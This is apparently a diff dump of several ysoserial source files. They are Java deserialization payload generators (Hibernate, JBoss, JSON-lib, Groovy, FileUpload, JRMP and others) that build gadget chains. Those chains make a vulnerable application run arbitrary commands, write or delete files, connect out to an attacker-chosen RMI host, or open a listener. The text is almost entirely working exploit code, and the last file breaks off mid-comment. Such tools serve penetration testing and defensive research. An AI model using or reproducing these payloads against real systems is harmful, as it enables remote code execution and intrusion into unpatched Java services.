@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition")
@Authors({ Authors.MBECHLER })
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public DiskFileItem getObject ( String command ) throws Exception {
String[] parts = command.split(";");
if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) {
return copyAndDelete(parts[ 1 ], parts[ 2 ]);
}
else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) {
return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
}
else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) {
return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
}
else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) {
return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
}
else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) {
return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
}
else {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
}
}
public void release ( DiskFileItem obj ) throws Exception {
// otherwise the finalizer deletes the file
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
Reflections.setFieldValue(obj, "dfos", dfos);
}
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data);
}
// writes data to an arbitrary file
private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception {
return makePayload(data.length + 1, file + "\0", file, data);
}
private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(FileUpload1.class, args);
}
}
@@ -6,6 +6,8 @@ import java.util.Map;
import org.codehaus.groovy.runtime.ConvertedClosure; import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure; import org.codehaus.groovy.runtime.MethodClosure;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -25,6 +27,8 @@ import ysoserial.payloads.util.PayloadRunner;
*/ */
@SuppressWarnings({ "rawtypes", "unchecked" }) @SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
@Authors({ Authors.FROHOFF })
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception { public InvocationHandler getObject(final String command) throws Exception {
@@ -37,7 +41,7 @@ public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHa
return handler; return handler;
} }
public static void main(final String[] args) { public static void main(final String[] args) throws Exception {
PayloadRunner.run(Groovy1.class, args); PayloadRunner.run(Groovy1.class, args);
} }
} }
@@ -0,0 +1,185 @@
package ysoserial.payloads;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.HashMap;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import org.hibernate.EntityMode;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*
*
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* @author mbechler
*/
@Authors({ Authors.MBECHLER })
@PayloadTest(precondition = "isApplicableJavaVersion")
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public static String[] getDependencies () {
if ( System.getProperty("hibernate5") != null ) {
return new String[] {
"org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2"
};
}
return new String[] {
"org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"
};
}
public static Object makeGetter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {
if ( System.getProperty("hibernate5") != null ) {
return makeHibernate5Getter(tplClass, method);
}
return makeHibernate4Getter(tplClass, method);
}
public static Object makeHibernate4Getter ( Class<?> tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException,
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
Reflections.setAccessible(bgCon);
if ( !method.startsWith("get") ) {
throw new IllegalArgumentException("Hibernate4 can only call getters");
}
String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
public static Object makeHibernate5Getter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException,
ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
public Object getObject ( String command ) throws Exception {
Object tpl = Gadgets.createTemplatesImpl(command);
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
return makeCaller(tpl, getters);
}
static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
if ( System.getProperty("hibernate3") != null ) {
return makeHibernate3Caller(tpl, getters);
}
return makeHibernate45Caller(tpl, getters);
}
static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
Reflections.setFieldValue(t, "componentTuplizer", tup);
Reflections.setFieldValue(t, "propertySpan", 1);
Reflections.setFieldValue(t, "propertyTypes", new Type[] {
t
});
TypedValue v1 = new TypedValue(t, null);
Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t);
TypedValue v2 = new TypedValue(t, null);
Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t);
return Gadgets.makeMap(v1, v2);
}
static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
// Load at runtime to avoid dependency conflicts
Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
HashMap hm = new HashMap();
hm.put(EntityMode.POJO, tup);
Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{ Map.class }, new Object[]{ hm });
Reflections.setFieldValue(t, "tuplizerMapping", emtm);
Reflections.setFieldValue(t, "propertySpan", 1);
Reflections.setFieldValue(t, "propertyTypes", new Type[] {
t
});
Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t);
Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t);
return Gadgets.makeMap(v1, v2);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Hibernate1.class, args);
}
}
@@ -0,0 +1,66 @@
package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import com.sun.rowset.JdbcRowSetImpl;
/**
*
* Another application filter bypass
*
* Needs a getter invocation that is provided by hibernate here
*
* javax.naming.InitialContext.InitialContext.lookup()
* com.sun.rowset.JdbcRowSetImpl.connect()
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*
*
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* Arg:
* - JNDI name (i.e. rmi:<host>)
*
* Yields:
* - JNDI lookup invocation (e.g. connect to remote RMI)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest", precondition = "isApplicableJavaVersion")
@Authors({ Authors.MBECHLER })
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public static String[] getDependencies () {
return Hibernate1.getDependencies();
}
public Object getObject ( String command ) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(command);
return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") );
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Hibernate2.class, args);
}
}
@@ -0,0 +1,90 @@
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.jboss.interceptor.builder.InterceptionModelBuilder;
import org.jboss.interceptor.builder.MethodReference;
import org.jboss.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.interceptor.reader.DefaultMethodMetadata;
import org.jboss.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.interceptor.spi.metadata.InterceptorReference;
import org.jboss.interceptor.spi.metadata.MethodMetadata;
import org.jboss.interceptor.spi.model.InterceptionModel;
import org.jboss.interceptor.spi.model.InterceptionType;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Constructor;
import java.util.*;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest(precondition = "isApplicableJavaVersion")
@Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
@Authors({ Authors.MATTHIASKAISER })
public class JBossInterceptors1 implements ObjectPayload<Object> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public Object getObject(final String command) throws Exception {
final Object gadget = Gadgets.createTemplatesImpl(command);
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set<InterceptionType> s = new HashSet<InterceptionType>();
s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
Reflections.setAccessible(defaultMethodMetadataConstructor);
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
List list = new ArrayList();
list.add(methodMetadata);
Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build();
HashMap map = new HashMap();
map.put("ysoserial", "ysoserial");
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
public Object createFor(InterceptorReference paramInterceptorReference) {
return gadget;
}
};
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(JBossInterceptors1.class, args);
}
}
@@ -0,0 +1,84 @@
package ysoserial.payloads;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public Registry getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}
@@ -0,0 +1,57 @@
package ysoserial.payloads;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject;
import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
*
* Requires:
* - JavaSE
*
* Argument:
* - Port number to open listener to
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( skip = "This test would make you potentially vulnerable")
@Authors({ Authors.MBECHLER })
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args);
}
}
+118
View File
@@ -0,0 +1,118 @@
package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
import javax.management.openmbean.CompositeData;
import javax.management.openmbean.CompositeType;
import javax.management.openmbean.OpenDataException;
import javax.management.openmbean.OpenType;
import javax.management.openmbean.TabularDataSupport;
import javax.management.openmbean.TabularType;
import javax.xml.transform.Templates;
import org.springframework.aop.framework.AdvisedSupport;
import net.sf.json.JSONObject;
/**
*
* A bit more convoluted example
*
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
* org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
* $Proxy0.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
* org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
* net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
* net.sf.json.JSONObject._fromBean(Object, JsonConfig)
* net.sf.json.JSONObject.fromObject(Object, JsonConfig)
* net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
* net.sf.json.JSONObject._processValue(Object, JsonConfig)
* net.sf.json.JSONObject.processValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object)
* javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
* javax.management.openmbean.TabularDataSupport.equals(Object)
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
* java.util.HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"rawtypes", "unchecked", "restriction"
} )
@Dependencies({ "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
// deep deps
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6",
"net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
"org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" })
@Authors({ Authors.MBECHLER })
public class JSON1 implements ObjectPayload<Object> {
public Map getObject ( String command ) throws Exception {
return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class);
}
/**
* Will call all getter methods on payload that are defined in the given interfaces
*/
public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException {
CompositeType rt = new CompositeType("a", "b", new String[] {
"a"
}, new String[] {
"a"
}, new OpenType[] {
javax.management.openmbean.SimpleType.INTEGER
});
TabularType tt = new TabularType("a", "b", rt, new String[] {
"a"
});
TabularDataSupport t1 = new TabularDataSupport(tt);
TabularDataSupport t2 = new TabularDataSupport(tt);
// we need to make payload implement composite data
// it's very likely that there are other proxy impls that could be used
AdvisedSupport as = new AdvisedSupport();
as.setTarget(payload);
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
JSONObject jo = new JSONObject();
Map m = new HashMap();
m.put("t", cdsProxy);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(t1, "dataMap", jo);
Reflections.setFieldValue(t2, "dataMap", jo);
return Gadgets.makeMap(t1, t2);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JSON1.class, args);
}
}
@@ -0,0 +1,90 @@
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
import org.jboss.weld.interceptor.builder.MethodReference;
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
import org.jboss.weld.interceptor.spi.model.InterceptionType;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Constructor;
import java.util.*;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest(precondition = "isApplicableJavaVersion")
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
@Authors({ Authors.MATTHIASKAISER })
public class JavassistWeld1 implements ObjectPayload<Object> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public Object getObject(final String command) throws Exception {
final Object gadget = Gadgets.createTemplatesImpl(command);
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set<InterceptionType> s = new HashSet<InterceptionType>();
s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
Reflections.setAccessible(defaultMethodMetadataConstructor);
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
List list = new ArrayList();
list.add(methodMetadata);
Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build();
HashMap map = new HashMap();
map.put("ysoserial", "ysoserial");
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
public Object createFor(InterceptorReference paramInterceptorReference) {
return gadget;
}
};
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(JavassistWeld1.class, args);
}
}
+95
View File
@@ -0,0 +1,95 @@
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
